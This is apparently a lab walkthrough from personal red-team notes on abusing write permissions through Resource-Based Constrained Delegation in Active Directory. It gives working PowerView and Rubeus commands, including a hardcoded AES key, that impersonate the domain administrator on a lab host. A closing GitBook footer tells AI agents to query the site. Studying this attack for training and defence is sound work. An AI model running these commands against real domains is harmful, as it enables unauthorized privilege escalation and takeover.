> For the complete documentation index, see [llms.txt](https://omar-4.gitbook.io/omar-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://omar-4.gitbook.io/omar-docs/attacks/write-permission-abuse-rbcd.md).

# Write Permission Abuse (RBCD)

**Write Permission Abuse in Resource-Based Constrained Delegation (RBCD)** is a type of attack that exploits the flexibility of **Resource-Based Constrained Delegation (RBCD)** in Active Directory. In this attack, an adversary with write access to the attributes of a target machine's Active Directory object can assign delegation rights to a compromised or controlled account, allowing them to impersonate other users (including privileged users) to the target system. This type of abuse can lead to lateral movement and privilege escalation within a domain.

Let's use PowerView from a PowerShell session started using Invisi-Shell to enumerate Write permissions for a user that we have compromised. After trying from multiple users or using BloodHound we would know that the user ciadmin has Write permissions on the computer object of dcorp-mgmt:

```
. C:\AD\Tools\PowerView.ps1
```

```
Find-InterestingDomainACL | ?{$_.identityreferencename -match 'ciadmin'}
```

Recall that we compromised ciadmin from dcorp-ci. We can either use the reverse shell we have on dcorp-ci as ciadmin or extract the credentials from dcorp-ci.

\
Now, set RBCD on dcorp-mgmt for the student VMs. (**After runing PowerView\.ps1 on memory**):

```
Set-DomainRBCD -Identity dcorp-mgmt -DelegateFrom 'dcorp-studentx$' -Verbose
```

```
Get-DomainRBCD
```

With Rubeus, abuse the RBCD to access dcorp-mgmt as Domain Administrator - Administrator:

* **First you should extract your local student machine in order to get student aes keys**

```
C:\AD\Tools\Rubeus.exe s4u /user:dcorp-studentX$ /aes256:bd05cafc205970c1164eb65abe7c2873dbfacc3dd790821505e0ed3a05cf23cb /msdsspn:http/dcorp-mgmt /impersonateuser:administrator /ptt
```

Check if we can access dcorp-mgmt:

```
winrs -r:dcorp-mgmt cmd
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://omar-4.gitbook.io/omar-docs/attacks/write-permission-abuse-rbcd.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
